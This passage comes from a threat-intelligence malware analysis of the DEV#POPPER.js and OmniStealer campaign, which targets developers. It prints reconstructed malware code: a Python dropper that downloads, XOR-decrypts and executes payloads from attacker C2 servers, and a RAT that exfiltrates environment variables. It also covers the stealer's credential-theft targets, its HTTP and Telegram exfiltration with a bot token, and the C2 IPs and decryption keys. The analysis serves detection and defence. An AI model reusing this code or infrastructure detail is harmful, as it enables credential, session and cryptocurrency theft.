strategies\n\n**Note:** One victim did also claim ransomware was deployed via this Threat Actor, however the report on this was not thorough and much of their claims are not accurate, such as claiming on social media that 3 out of 9 developers are infected.\n\n### 6. Python Installation Automation\n\n**Windows (Lines 290-360):**\n\n```\n// Check for existing Python\nW = await F('py', ['-V'], {windowsHide: true});\nX = await F('py', ['-m', \"pip\", '-V'], {windowsHide: true});\n\nif (W && X && W.includes(\"Python 3.\")) {\n  // Use existing Python to launch Stage 4\n  await F('py', ['-c', M, p, Y], {windowsHide: true});\n} else {\n  // Install Python automatically\n  K(x + '$' + y + \" / \" + A + \"\\nInstalling python...\");\n\n  const T = \"%LOCALAPPDATA%\\\\Programs\\\\Python\\\\Python3127\";\n  await u.promises.mkdir(T, {recursive: true});\n\n  // Download Python portable from C2\n  const ae = q + \"/d/python.zip\";  // http://[C2]:27017/d/python.zip\n  const af = t.join(T, \"python.zip\");\n  await L(ae, af);\n\n  // Extract using tar (Windows 10+)\n  try {\n    await F(\"tar\", [\"-xf\", af, '-C', T], {shell: true, windowsHide: true});\n  } catch (ai) {\n    // Fallback: Use 7-Zip if tar fails\n    K(x + '$' + y + \" / \" + A + \"\\nfailed to install py using tar: \" + ai);\n\n    const aj = q + \"/d/python.7z\";\n    const ak = t.join(T, \"python.7z\");\n    await L(aj, ak);\n\n    const al = q + \"/d/7zr.exe\";\n    const am = t.join(T, \"7zr.exe\");\n    await L(al, am);\n\n    await F(am, ['x', ak, '-o' + T, \"-bd\", \"-aoa\"], {windowsHide: true});\n  }\n\n  await u.promises.mkdir(U, {recursive: true});  // Create Doc folder marker\n}\n```\n\n**Windows Python Installation:**\n\n* Downloads portable Python 3.12.7 (~25MB) from C2\n* Installs to: `%LOCALAPPDATA%\\Programs\\Python\\Python3127`\n* Uses native `tar` (Windows 10+) for extraction\n* Falls back to 7-Zip if tar fails (downloads 7zr.exe from C2)\n* Creates marker file to detect if it's already running\n* Completely hidden (windowsHide: true on all operations)\n\n### Linux/macOS (Lines 370-420):\n\n```\nlet as = false;\ntry {\n  as = await F(\"python3\", ['-V']);\n  K(x + '$' + y + \" / \" + A + \"\\npy3 = \" + as);\n} catch (at) {}\n\nfor (let au = 0x0; au < 0x3; au++) {\n  try {\n    if (as && as.includes(\"Python 3.\")) {\n      // Launch Stage 4\n      const av = await F(\"python3\", ['-c', M, p]);\n\n      // If pip missing, install it\n      if (av.includes(\"<ERROR> Failed to install pip:\")) {\n        K(x + '$' + y + \" / \" + A + \"\\n\" + av + \"\\nInstalling pip...\");\n        await L(\"https://bootstrap.pypa.io/get-pip.py\", \"/tmp/get-pip.py\");\n        await E(\"python3 \\\"/tmp/get-pip.py\\\" --break-system-packages\");\n        continue;\n      } else if (av.includes(\"</?>\")) {\n        K(x + '$' + y + \" / \" + A + \"\\n\" + av);\n        break;\n      }\n    }\n  } catch (ax) {\n    K(x + '$' + y + \" / \" + A + \"\\nfailed to install/run py: \" + ax);\n  }\n  await new Promise(ay => setTimeout(ay, 15000));  // 15 second retry\n}\n```\n\n**Linux/macOS Python Usage:**\n\n* Uses system `python3` binary (typically pre-installed)\n* Installs `pip` if missing (from bootstrap.pypa.io)\n* Uses `--break-system-packages` flag (bypasses Python 3.11+ restrictions)\n* Retries up to 3 times with 15-second delays\n* Reports all operations back to C2\n\n### 7. Concurrency Control (Lines 305-320)\n\n```\n// Check if already running\ntry {\n  u.readFileSync(t.join(S, \"Temp\", \"tmp7A863DD1.tmp\"));\n} catch (a4) {\n  if (a4.code === \"EBUSY\") {\n    K(x + '$' + y + \" / \" + A + \"\\nstill running...\");\n    a3--;\n    await new Promise(a5 => setTimeout(a5, 15000));\n    break aB;\n  }\n}\n\n// Create temp marker file\nconst Y = \"tmp\" + new Date().getTime() + \".tmp\";\nconst Z = t.join(S, \"Temp\", Y);\n```\n\n**Purpose:**\n\n* Prevents multiple instances from running simultaneously\n* Uses temp file locking mechanism\n* Detects if Stage 4 is already active\n* Reports to C2 and waits if already running\n\n## Anti-Debugging & Evasion\n\n### 1. Catastrophic Backtracking RegEx (Lines 1-13):\n\n```\nconst a0a = a0b(this, function () {\n  return a0a.toString().search(\"(((.+)+)+)+$\")\n         .toString().constructor(a0a).search(\"(((.+)+)+)+$\");\n});\na0a();\n```\n\n* Hangs static analysis tools\n* Detects function modification\n\n### 2. Cloud Platform Detection:\n\n* Environment variable inspection (K\\_SERVICE, VERCEL\\_HIVE\\_VERSION)\n* Kernel version analysis (AWS/Azure signatures)\n* Hostname patterns (Docker, CI/CD)\n* Username patterns (security research VMs)\n\n### 3. Execution Blocking:\n\n* Returns early if sandbox detected\n* Reports to C2 but doesn't execute payloads\n* Logs detection reason for attacker intelligence\n\n# Fetching the Final Payload (Payload1\\_2\\_1\\_1)\n\nHere's where it gets particularly tricky. The IP address 23.27.20[.]143 is also the location from which the payload is retrieved. However, before Payload1\\_2\\_1 can reach it, telemetry data must first be sent from the RAT (Payload1\\_1\\_1).\n\nHow the RAT reaches remote code execution is simple:\n\n| Step | Malware Component | Fetches From | Endpoint | Headers | What It Gets | Saved As |\n| --- | --- | --- | --- | --- | --- | --- |\n| **1** | Stage 2 (HTTP C2 Beacon - VSCode injected) | Dropper C2 (23.27.20.143) | `/$/boot` | Sec-V: \\_V | Stage 3 (Python Dropper) | In-memory \u2192 eval() |\n| **2** | Stage 3 (Python Dropper) | \\_V-selected C2 | `/verify-human/{_V}` | None | Nothing (registration) | N/A |\n| **3** | Stage 3 (Python Dropper) | \\_V-selected C2 | `/snv` | None | Nothing (env var exfiltration) | N/A |\n| **4** | Stage 3 (Python Dropper) | Dropper C2 (23.27.20.143) | `/$/z1` | None | Stage 4 (Python InfoStealer) | In-memory \u2192 exec() |\n| **5** | RAT (Payload 1\\_1\\_1) | \\_V-selected C2 | `/verify-human/{_V}` | None | Nothing (registration) | N/A |\n| **6** | RAT (Payload 1\\_1\\_1) | \\_V-selected C2 | `/snv` | None | Nothing (env var exfiltration) | N/A |\n| **7** | RAT (Payload 1\\_1\\_1) | \\_V-selected C2 | WebSocket :443 | Socket.io | Remote commands | N/A (real-time) |\n\nNow, what we can do is spoof the requests without actually executing anything:\n\n| Step | Malware Component | Fetches From | Endpoint | Headers | What It Gets | Saved As |\n| --- | --- | --- | --- | --- | --- | --- |\n| 1 | HTTP Dropper | Dropper C2 (23.27.20.143) | /$/boot | Sec-V: 0 | Stage 3 (Python Dropper) | boot\\_payload.txt |\n| 2 | Downloader | \\_V-selected C2 | /verify-human/{\\_V} | None | Nothing (registration) | N/A |\n| 3 | RAT (Payload 1\\_1\\_1) | \\_V-selected C2 | /snv + /verify-human/{\\_V} | None | Nothing (exfiltration) | N/A |\n| 4 | Downloader | Dropper C2 (23.27.20.143) | /$/z1 | None | Stage 4 (InfoStealer) | z1\\_decrypted\\_FINAL.txt |\n\n**Note:** The `/verify-human/` endpoints are **NOT related to ClickFix campaigns** at all. This is purely **telemetry/logging** with a deliberately **misleading name**.\n\n## Two Separate C2 Infrastructures:\n\n**1. \\_V-Selected C2 (for Loader & RAT):**\n\n* `136.0.9.8:27017` (if \\_V starts with 'A')\n* `23.27.202.27:27017` (if \\_V starts with 'C')\n* `166.88.4.2:27017` (if \\_V is numeric)\n* Used for registration, telemetry, RAT control\n\n**2. Dropper C2 (for Python payloads):**\n\n* `23.27.20.143:27017` (hardcoded as global.\\_H)\n* Used for delivering Stage 3 and 4\n* Separate from \\_V-based routing\n\nNote: you'll see here that \\_V tracks the Sec-V value which is likely Victim Versioning Systems in order to:\n\n* Route victims to different C2 servers\n* Track malware variants\n* A/B test different payloads\n* Segment victims for targeted operations\n\nOur assessment of this is:\n\n```\n_V = 'A'  \u2192  Infections from npm package 'malicious-pkg-A'\n_V = 'C'  \u2192  Infections from compromised GitHub Action\n_V = '0'  \u2192  Direct manual infections / testing\n```\n\n## Why Two C2 Systems?\n\n**Separation of concerns:**\n\n* JavaScript payloads \u2192 \\_V-selected C2\n* Python payloads \u2192 Dropper C2\n* If one C2 is taken down, the other still works\n* Modular architecture allows different payload updates\n\n## STEP 1: Fetch `/$/boot` from Dropper C2\n\n**Who:** Stage 2 (HTTP C2 Beacon - injected in VSCode)\n\n**What happens:**\n\n```\nboot_url = f\"http://23.27.20.143:27017/$/boot\"\nheaders = {'User-Agent': USER_AGENT, 'Sec-V': '0'}\n```\n\n**Malware code reference (Stage 2):**\n\n```\nconst Q = q + \"/$/boot\";  // q = global._H = \"http://23.27.20.143:27017\"\nconst payload = await fetch(Q, {\n  headers: {\n    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...',\n    'Sec-V': _V || 0  // Version tracking\n  }\n});\n// XOR decrypt with key 'ThZG+0jfXE6VAGOJ'\n// Execute Stage 3 (Python Dropper)\n```\n\n**What gets fetched:** Stage 3 (Payload 1\\_2\\_1) - The 430-line Python Dropper\n\n**Saved to:** `boot_payload.txt`\n\n## STEP 2: LOADER Registration with \\_V-Selected C2\n\n**Who:** Stage 1 (Blockchain Loader) after downloading payloads\n\n**What happens:**\n\n```\n# Loader selects C2 based on _V variable:\nif _V[0] == 'A': c2 = \"136.0.9.8\"\nelif _V[0] == 'C': c2 = \"23.27.202.27\"\nelse: c2 = \"166.88.4.2\"\n\nverify_url = f\"http://{c2}:27017/verify-human/{_V}\"\ndata = {'text': f\"[{_V}] {hostname}$username / {os_info}\"}\n```\n\n**Malware code reference (Stage 1 - Blockchain Loader):**\n\n```\n// After downloading from blockchain\nconst response = await fetch(\\`http://\\${C2}:27017/verify-human/\\${_V}\\`, {\n  method: 'POST',\n  body: \\`text=[\\${_V}] \\${SESSION_ID} / \\${OS_INFO}\\`\n});\n```\n\n**Purpose:**\n\n* Registers infection with C2\n* Sends victim system info\n* C2 tracks which version (\\_V) of malware is running\n* Telemetry for attacker\n\n**No payload fetched** - just registration/logging\n\n## STEP 3: RAT Registration with \\_V-Selected C2\n\n**Who:** 530-line RAT (Payload 1\\_1\\_1) after being downloaded by Stage 1\n\n**What happens:**\n\n```\n# RAT uses SAME _V-selected C2 as loader\nc2 = select_c2_based_on_v(_V)\n\n# 1. Exfiltrate environment variables\nsnv_url = f\"http://{c2}:27017/snv\"\ndata = {\n  'id': f\"{hostname}$username\",\n  'user': username,\n  'body': json.dumps(env_vars)  # All environment variables\n}\n\n# 2. Register with C2\nverify_url = f\"http://{c2}:27017/verify-human/{_V}\"\ndata = {'text': f\"[{_V}] {hostname}$username / {os_info}\"}\n```\n\n**Malware code reference (RAT - Payload 1\\_1\\_1):**\n\n```\n// Exfiltrate environment variables\nd._R = async function(a0, a1) {\n  const url = M + \"/verify-human/\" + e;  // M = _V-selected C2\n  const params = {text: `[${e}] ${SESSION_ID}`};\n  await axios.post(url, params);\n};\n\n// Also posts to /snv endpoint\nconst snv_url = M + \"/snv\";\nconst env_data = {\n  id: SESSION_ID,\n  user: username,\n  body: JSON.stringify(process.env)\n};\nawait axios.post(snv_url, env_data);\n```\n\n**Purpose:**\n\n* RAT exfiltrates **all environment variables** (API keys, tokens, credentials)\n* Registers with C2 for remote command capability\n* Establishes WebSocket connection for real-time control\n\n**No payload fetched** - just data exfiltration and registration\n\n## STEP 4: Python Fetches `/$/z1` from DROPPER C2\n\n**Who:** Stage 3 (Python Dropper - Payload 1\\_2\\_1)\n\n**What happens:**\n\n```\n# CRITICAL: Python uses DROPPER C2, NOT _V-selected C2!\ndropper_c2 = \"23.27.20.143\"  # This is global._H\nz1_url = f\"http://{dropper_c2}:27017/$/z1\"\nheaders = {'User-Agent': USER_AGENT}  # NO Sec-V header!\n\nresponse = requests.get(z1_url)\nencrypted = base64.b64decode(response.content)\ndecrypted = decrypt_xor(encrypted, '9KyASt+7D0mjPHFY')\nexec(decrypted)  # Execute Stage 4\n```\n\n**Malware code reference (Stage 3 - Python Dropper):**\n\n```\n# Python payload template (Lines 260-285)\ncode = \"\"\"\nimport sys,base64\nfrom urllib.request import Request,urlopen;\n\ndef x(a,b):  # XOR decrypt\n    kn=len(b);c=bytearray(len(a))\n    for i in range(len(a)):c[i]=a[i]^ord(b[i%kn])\n    return c\n\nif __name__=='__main__':\n    id=sys.argv[1]  # 'z1'\n\n    # Fetch from DROPPER C2 (global._H), not _V-selected C2\n    exec(x(\n        base64.b64decode(\n            urlopen(Request(\n                f'{q}/$/{id}',  # q = global._H = \"http://23.27.20.143:27017\"\n                headers={'User-Agent':'Mozilla/5.0 ...'}\n            )).read().decode('utf-8')\n        ),\n        '9KyASt+7D0mjPHFY'\n    ).decode('utf-8'), globals())\n\"\"\"\n```\n\n**What gets fetched:** Stage 4 (Payload 1\\_2\\_1\\_1) - OmniStealer\n\n**Encoding:** Base64 \u2192 XOR decrypt with `'9KyASt+7D0mjPHFY'`\n\n**Saved to:** `z1_decrypted_FINAL.txt`\n\n**Purpose:** Final payload that steals browser data, wallets, credentials, files\n\n**Note:** The python script to emulate this is shared within the GitHub repository.\n\n# Payload1\\_2\\_1\\_1 (Python OmniStealer)\n\nSHA256: `7a62286e68d879b45da710e1daa495978dcae31ae8f0709018a7d82343ec57e8`\n\nWe are onto the final piece of the malware kill-chain. Ransom-ISAC have named this 'OmniStealer', because it's a comprehensive information-stealing malware that targets virtually every major platform and data source. The code systematically harvests credentials from Chrome, Edge, Brave, Firefox, password managers (1Password, Dashlane, Bitwarden, NordPass), cloud storage services (Dropbox, Google Drive, OneDrive, iCloud, Box, Mega, pCloud), browser cookies, login databases, system information, environment variables, and extension data across Windows, macOS, and Linux systems\u2014essentially stealing \"omni\" (everything) it can access.\n\n## Obfuscation Techniques Used\n\n1. **Reversed Base64 encoding**: `data[::-1]` reverses the input string before decoding\n2. **Base64 encoding**: Hides the actual compressed data in ASCII-safe format\n3. **Zlib compression**: Further obscures the payload by compressing it\n4. **Dynamic imports**: Uses `__import__()` instead of normal import statements to avoid static analysis\n5. **Immediate execution**: `exec()` runs the decoded code directly without showing it first\n6. **Chained operations**: Multiple transformations are applied in sequence within a single line\n\n```\ndef obfDecode(data): return __import__('zlib').decompress(__import__('base64').b64decode(data[::-1]))\nexec(obfDecode(b'siVDNIw/zDWscJb2iUdUSMXQoDrfo1jkmJ7WRvVdnoqSidaKiOnNEjOq3Mip0zL.....'))\n```\n\nTo deobfuscate this, we can run the following python script:\n\n```\ndef obfDecode(data):\n    return __import__('zlib').decompress(__import__('base64').b64decode(data[::-1]))\n\n# Store the encoded data\nencoded = b'siVDNIw/zDWscJb2iUdUSMXQoDrfo1...'  # (the full string)\n\n# Decode but DON'T execute\ndecoded = obfDecode(encoded)\n\n# Print or save to file to analyse\nprint(decoded.decode('utf-8'))\n# or\nwith open('decoded.py', 'wb') as f:\n    f.write(decoded)\n```\n\nThe deobfuscated payload and full script are stored within the GitHub repository.\n\n## Stage 4 OmniStealer Analysis - Comprehensive Data Exfiltration Tool\n\n**File Size:** Approximately **3,500+ lines** of heavily obfuscated Python code\n\n**Designation:** Stage 4 (Payload 1\\_2\\_1\\_1) - Final InfoStealer that we call **OmniStealer**\n\n## Primary Targets\n\n### 1. Browser Data Theft\n\n**Supported Browsers:**\n\n* **Chromium-based:** Chrome, Edge, Brave, Opera, Opera GX, Vivaldi, Arc, Chromium\n* **Firefox-based:** Firefox, all Firefox profiles\n\n**Data Stolen:**\n\n* \u2705 **Passwords** (login credentials from all profiles)\n* \u2705 **Cookies** (session tokens, authentication cookies)\n* \u2705 **Credit Cards** (saved payment methods)\n* \u2705 **Autofill Data** (Web Data database)\n* \u2705 **Browser Extensions** (see section below)\n\n**Decryption Capabilities:**\n\n* Windows: DPAPI + AES-GCM decryption\n* Linux: KWallet/SecretStorage decryption\n* macOS: Keychain password extraction\n* Handles v10, v11, v24+ Chrome encryption schemes\n\n### 2. Browser Extension Targeting\n\n**Cryptocurrency Wallets (60+ extensions):**\n\n```\nwallet_extensions = {\n    'nkbihfbeogaeaoehlefnkodbefgpgknn': 'MetaMask',\n    'bfnaelmomeimhlpmgjnjophhpkkoljpa': 'Phantom',\n    'egjidjbpglichdcondbcbdnbeeppgdph': 'Trust',\n    'hnfanknocfeofbddgcijnmhnfnkdnaad': 'CoinBase',\n    'ibnejdfjmmkpcnlpebklmnkoeoihofec': 'TronLink',\n    'idnnbdplmphpflfnlkomgpfbpcgelopg': 'Xverse',\n    'dmkamcknogkgcdfhhbddcghachkejeap': 'Keplr',\n    'acmacodkjbdgmoleebolmdjonilkdbch': 'Rabby',\n    # ... 50+ more wallet extensions\n}\n```\n\n**Password Managers (10+ extensions):**\n\n```\npassword_managers = {\n    'aeblfdkhhhdcdjpifhhbdiojplfjncoa': '1Password',\n    'hdokiejnpimakedhajhdlcegeplioahd': 'LastPass',\n    'fdjamakpfbbddfjaooikfcpapjohcfmg': 'Dashlane',\n    'eiaeiblijfjekdanodkjadfinkhbfgcd': 'NordPass',\n    'nngceckbapebfimnlniiiahkandclblb': 'Bitwarden',\n    # ... more\n}\n```\n\n**2FA Authenticators:**\n\n```\nauth_extensions = {\n    'bhghoamapcdpbohphigoooaddinpkbai': 'GoogleAuth'\n}\n```\n\n### 3. Standalone Application Data\n\n**Cryptocurrency Wallets:**\n\nThe malware specifically targets cryptocurrency wallet applications to steal private keys and wallet files, which would give attackers direct access to victims' digital currency holdings:\n\n```\ncrypto_apps = {\n    'Exodus/exodus.wallet': 'Exodus',\n    'atomic/Local Storage': 'Atomic',\n    'Electrum/wallets': 'Electrum',\n    'Bitcoin/wallets': 'Bitcoin Core',\n    'Dogecoin/wallets.dat': 'Dogecoin',\n    'Monero/wallets': 'Monero',\n    '.bitmonero/wallets': 'Monero CLI',\n    '.config/solana/id.json': 'Solana CLI'\n}\n```\n\n**Password Managers:**\n\nThe malware also targets password manager databases, which is particularly dangerous because these applications store credentials for potentially hundreds of other accounts in encrypted vaults:\n\n```\npassword_apps = {\n    '1Password/1password.sqlite': '1Password',\n    'Bitwarden': 'Bitwarden',\n    'NordPass': 'NordPass',\n    'Dashlane/profiles': 'Dashlane',\n    'WinAuth': 'WinAuth',\n    'Proxifier4/Profiles': 'Proxifier'\n}\n```\n\n**macOS Specific:**\n\nOn macOS systems, the malware attempts to access the Keychain, which is Apple's password management system that stores credentials, certificates, and encryption keys for the entire operating system:\n\n```\nmacos_targets = {\n    '~/Library/Keychains/login.keychain-db': 'macOS Keychain'\n}\n```\n\n### 4. Development Credentials\n\n**Git Credentials:**\n\n```\ndev_credentials = {\n    '~/.git-credentials': 'Git credentials',\n    '~/.config/git/credentials': 'Git config credentials',\n    '~/.config/gh/hosts.yml': 'GitHub CLI tokens'\n}\n```\n\n### 5. Cloud Storage Detection\n\n**Monitors for:**\n\n```\ncloud_storage = {\n    'Dropbox': ['~/Dropbox*', '%UserProfile%\\\\Dropbox*'],\n    'GoogleDrive': ['~/My Drive*', '%UserProfile%\\\\My Drive*'],\n    'OneDrive': ['~/OneDrive', '%UserProfile%\\\\OneDrive'],\n    'iCloud': ['~/iCloud Drive', '~/Library/CloudStorage'],\n    'Box': ['~/Box'],\n    'Mega': ['~/MEGAsync', '~/Documents/MEGA'],\n    'pCloud': ['%LocalAppData%\\\\pCloud\\\\Cache']\n}\n```\n\n**Reports presence and paths** (doesn't steal files, just logs locations)\n\n### 6. Windows Credentials\n\n**Windows Credential Manager:**\n\n```\n# Extracts ALL stored Windows credentials via DPAPI\ndef extract_windows_credentials():\n    # Uses CredEnumerateW API\n    # Decrypts with CryptUnprotectData\n    # Returns domain/username/password tuples\n```\n\n### 7. Linux SecretStorage\n\n**Keyring Access:**\n\n```\n# GNOME Keyring / KDE KWallet\nsecretstorage.get_default_collection()\n# Extracts all stored secrets with schemas and attributes\n```\n\n## Data Processing Pipeline\n\n### Step 1: Kill Processes (Optional)\n\n```\nkill_processes = ['chrome', 'msedge', 'brave', 'firefox', 'opera']\n# Closes browsers to unlock database files\n```\n\n### Step 2: Database Copying\n\n```\n# Creates temporary copies with timestamps\ncookie_copy = f\"{cookie_file}~{int(time.time())}\"\nshutil.copy2(original, cookie_copy)\n```\n\n### Step 3: Decryption\n\n```\n# Platform-specific decryption:\n# - Windows: DPAPI \u2192 AES-GCM\n# - Linux: v11 key (SecretStorage) \u2192 AES-CBC\n# - macOS: Keychain \u2192 PBKDF2 \u2192 AES-CBC\n```\n\n### Step 4: JSON Export\n\n```\n# organised by browser and profile:\nexport_path/\n\u251c\u2500\u2500 login-Chrome-0-HASH.json\n\u251c\u2500\u2500 login-Chrome-Profile1-HASH.json\n\u251c\u2500\u2500 cookie-Brave-0-HASH.json\n\u251c\u2500\u2500 card-Edge-0-HASH.json\n\u251c\u2500\u2500 ext/\n\u2502   \u251c\u2500\u2500 Chrome-0-HASH-nkbi.../MetaMask/\n\u2502   \u2514\u2500\u2500 Brave-0-HASH-bfna.../Phantom/\n\u2514\u2500\u2500 app/\n    \u251c\u2500\u2500 Exodus/exodus.wallet/\n    \u251c\u2500\u2500 1Password/1password.sqlite\n    \u2514\u2500\u2500 solana_id.json\n```\n\n## Exfiltration Methods\n\n### Method 1: HTTP Upload (Primary)\n\n```\nurl = f\"{z}/u/f\"  # z = C2 server (23.27.20.143:27017)\nfiles = [(basename, open(file, 'rb')) for file in file_paths]\ndata = {\n    'client_id': f\"{hostname}$username\",\n    'path': '_auto',\n    'sid': Q  # SID\n}\nrequests.post(url, data=data, files=files)\n```\n\n### Method 2: Telegram Bot (Fallback)\n\n```\nBOT_TOKEN = '7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTU'\nCHAT_ID = Ad  # Version-specific chat ID\ntelegram_url = f\"https://api.telegram.org/bot{BOT_TOKEN}/sendDocument\"\n# Max file size: 50 MB\n```\n\n### Method 3: Archive & Compress\n\n```\n# Creates encrypted ZIP with password\nimport pyzipper\npassword = ',./,./,./'  # Hardcoded password\ncompression = ZIP_LZMA  # or ZIP_BZIP2 or ZIP_DEFLATED\npyzipper.AESZipFile(output, compression=compression, encryption=WZ_AES)\n```\n\n**Archive Naming:**\n\n```\n{hostname}$username_{timestamp}*#{MD5_HASH}.zip*\nExample: DESKTOP-7K3P9QM$john_250119_153045*#A7F3D8E2.zip*\n```\n\n## Anti-Analysis Features\n\n### 1. Cloud/Sandbox Detection (from Stage 3)\n\nInherits all detection from Stage 3 (AWS, Azure, GCP, Kali, etc.)\n\n### 2. Concurrent Execution Lock\n\n```\nimport portalocker\nlock_file = '/tmp/tmp7A863DD1.tmp'\nportalocker.lock(lock_file, portalocker.LOCK_EX | portalocker.LOCK_NB)\n# Prevents multiple instances\n```\n\n### 3. Self-Deletion\n\n```\nif not debug_mode:\n    os.remove(sys.argv[0])  # Deletes itself after execution\n```\n\n### 4. Marker File\n\n```\n# Creates marker to indicate \"already running\"\ntemp_file = f\"/tmp/{unique_id}\"\nwith open(temp_file, 'w') as f:\n    f.write(unique_id)\n```\n\n## Execution Modes\n\n**Command-Line Flags:**\n\n```\n'-a'   # Auto mode (full extraction)\n'-f'   # Fast mode (skip some features)\n'-fc'  # Fast + cookies mode\n'-fmac' # Force macOS mode\n'-hh'  # HTTP upload only (skip Telegram)\n'-tt'  # Telegram upload only (skip HTTP)\n'-v4' or '-vA'  # Set _V to 'A'\n'-v5' or '-vC'  # Set _V to 'C'\n'--debug' # Enable verbose logging\n'-nodel' # Don't self-delete\n```\n\n## Victim Fingerprinting\n\n**Collected Metadata:**\n\n```\nvictim_info = {\n    'channel': h,           # _V version\n    'pc_name': r,          # Hostname\n    'pc_login': A0,        # Username\n    'pc_info': Ax,         # OS details\n    'path': os.getcwd(),   # Current directory\n    'uuid': uuid.UUID(...), # Hardware UUID\n    'sid': Q,              # Windows SID / Linux hardware UUID\n    'inz_ext_count': BO,   # Number of wallet extensions found\n    'python': sys.executable,\n    'timestamp': int(time.time()),\n    'client_utc': datetime.utcnow()\n}\n```\n\n**Sent to:** `{z}/u/e` endpoint\n\n## Key Technical Details\n\n### Encryption Keys Extracted:\n\nOmniStealer employs platform-specific decryption techniques to extract the master encryption keys that browsers use to protect stored credentials and cookies. Understanding these methods reveals how the malware bypasses browser security on each operating system:\n\n```\n# Chrome/Chromium\nv10_key = PBKDF2(password, salt, iterations=1003)  # macOS\nv11_key = PBKDF2(password, salt, iterations=1)     # Linux\n# Windows\nencrypted_key = base64.b64decode(json['os_crypt']['encrypted_key'])\nv10_key = DPAPI_decrypt(encrypted_key[5:])\n```\n\n### Cookie Format Conversion:\n\nAfter extracting and decrypting cookies from browser databases, OmniStealer converts them into a standardised JSON format that can be easily imported into other browsers or automation tools, making the stolen session data immediately usable for account takeover attacks:\n\n```\n# Converts Chrome cookie format to universal JSON:\n{\n    'domain': '.example.com',\n    'expirationDate': unix_timestamp,\n    'hostOnly': False,\n    'httpOnly': True,\n    'name': 'session_id',\n    'path': '/',\n    'sameSite': 'lax',  # or 'strict', 'unspecified'\n    'secure': True,\n    'session': False,\n    'storeId': '0',\n    'value': 'decrypted_cookie_value'\n}\n```\n\n## Summary Statistics\n\n| Category | Count | Notes |\n| --- | --- | --- |\n| Browsers Supported | 10+ | Chrome, Firefox, Edge, Brave, Opera, etc. |\n| Wallet Extensions | 60+ | MetaMask, Phantom, Trust, Coinbase, etc. |\n| Password Managers | 10+ | 1Password, LastPass, Bitwarden, etc. |\n| Crypto Wallets (Apps) | 10+ | Exodus, Electrum, Monero, Solana, etc. |\n| Cloud Storage Detected | 7+ | Dropbox, Google Drive, OneDrive, etc. |\n| Total Lines of Code | 3,500+ | Heavily obfuscated |\n| Max Archive Size | 50 MB | Telegram bot limit |\n\n## C2 Communication\n\n**Endpoints Used:**\n\n* `/u/e` - Upload victim metadata\n* `/u/f` - Upload file archives\n* `/verify-human/{version}` - Registration (inherited from Stage 3)\n\n**Telegram Bot:**\n\n* Token: `7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTU`\n* Chat IDs vary by `_V` version\n\n## Final Notes\n\nThis is a **production-grade infostealer** designed for:\n\n* \u2705 Mass credential harvesting\n* \u2705 Cryptocurrency wallet theft\n* \u2705 Developer credential extraction\n* \u2705 Session hijacking (cookies)\n* \u2705 Payment card theft\n* \u2705 Multi-platform compatibility\n* \u2705 Evasion of security products\n* \u2705 Reliable exfiltration (dual upload methods)\n\n**Archive Password:** `,./,./,./` (used for all encrypted ZIPs)\n\n**Self-Protection:** Locks execution, self-deletes, avoids sandboxes, uses encrypted archives\n\nThis represents the **culmination of the entire infection chain** - the actual data theft operation after all the staging and persistence mechanisms.\n\n## Post-Exfiltration Threat Actor Activities\n\nOnce the infostealer successfully exfiltrates the encrypted archive containing browser credentials, cryptocurrency wallets, session cookies, and sensitive application data, the threat actor will pivot to **immediate financial exploitation and corporate espionage**. The attacker's primary objectives include:\n\n* **Financial Exploitation:** The threat actor will attempt to **drain cryptocurrency wallets** using the stolen seed phrases, private keys, and extension data from 60+ wallet applications (MetaMask, Phantom, Coinbase, Trust Wallet, etc.). They will leverage **stolen session cookies** to bypass multi-factor authentication and gain unauthorised access to cryptocurrency exchanges, banking portals, and payment platforms, enabling direct theft of funds. **Saved credit card data** extracted from browser databases will be used for fraudulent transactions or sold on underground markets. The attacker will also exploit **stolen credentials from password managers** (1Password, LastPass, Bitwarden) to access financial accounts, investment platforms, and corporate payment systems.\n* **Account Takeover & Lateral Movement:** Using the harvested **login credentials and session tokens**, the threat actor will perform **account takeover attacks** across email accounts, cloud services (AWS, Azure, Google Cloud), code repositories (GitHub, GitLab), and internal corporate systems. The **stolen developer credentials** (Git tokens, SSH keys, API keys from environment variables) provide direct access to source code repositories, CI/CD pipelines, and production infrastructure, enabling further compromise of the organisation's technical stack.\n* **Corporate Espionage & Trade Secret Theft:** Beyond immediate financial gain, the threat actor will analyse the **exfiltrated environment variables, configuration files, and application data** to map the organisation's infrastructure, identify high-value targets, and extract **proprietary algorithms, business strategies, customer databases, and intellectual property**. Access to **cloud storage locations** (detected via the CD() function), internal documentation, and development tools provides deep insights into the **inner workings of the organisation**, competitive advantages, unreleased products, and strategic plans. This information can be sold to competitors, used for targeted ransomware attacks, or leveraged for long-term persistent access to conduct ongoing surveillance and data exfiltration campaigns. The comprehensive nature of the stolen data\u2014spanning personal credentials, corporate secrets, financial access, and cryptographic keys\u2014positions the threat actor to inflict **maximum financial damage** while simultaneously compromising the **organisation's competitive position and operational security** for extended periods.\n\n# Conclusion\n\nThe DEV#POPPER.js and OmniStealer campaign represents a significant advancement in supply chain attacks targeting development environments. By combining blockchain-based command-and-control infrastructure with cross-platform malware and comprehensive credential harvesting, DPRK-affiliated threat actors have created an attack chain that operates with surgical precision across Windows, macOS, and Linux systems. The dual-payload architecture\u2014JavaScript-based RAT for persistent access and Python-based stealer for mass exfiltration\u2014demonstrates a sophisticated understanding of modern development workflows and the critical assets that fuel both cryptocurrency operations and corporate espionage.\n\nThe scope of targeted data is staggering: 60+ cryptocurrency wallet extensions, 10+ password managers, credentials from every major browser, SSH keys, API tokens, cloud storage configurations, and session cookies that bypass multi-factor authentication. This isn't opportunistic malware\u2014it's a precision-engineered data vacuum designed to extract maximum value from developer workstations, where the convergence of personal cryptocurrency holdings and corporate access credentials creates an irresistible target for financially-motivated state actors.\n\nThe implications extend far beyond immediate financial theft. Stolen developer credentials provide persistent access to source code repositories, CI/CD pipelines, and production infrastructure, enabling follow-on attacks that can remain undetected for months or even years if developers fail to rotate compromised credentials, revoke stolen API tokens, and invalidate session cookies. The exfiltrated environment variables, configuration files, and cloud storage mappings create a comprehensive blueprint of organisational infrastructure that can be weaponised for ransomware deployment, intellectual property theft, or long-term surveillance operations. This prolonged window of opportunity means that even after initial detection, organisations may remain vulnerable to secondary compromises if comprehensive credential rotation and access reviews are not performed immediately.\n\nAs state-sponsored techniques continue to proliferate into cybercriminal ecosystems, the combination of TxDataHiding C2 infrastructure with production-grade infostealers will become standard tradecraft. The economic calculus remains 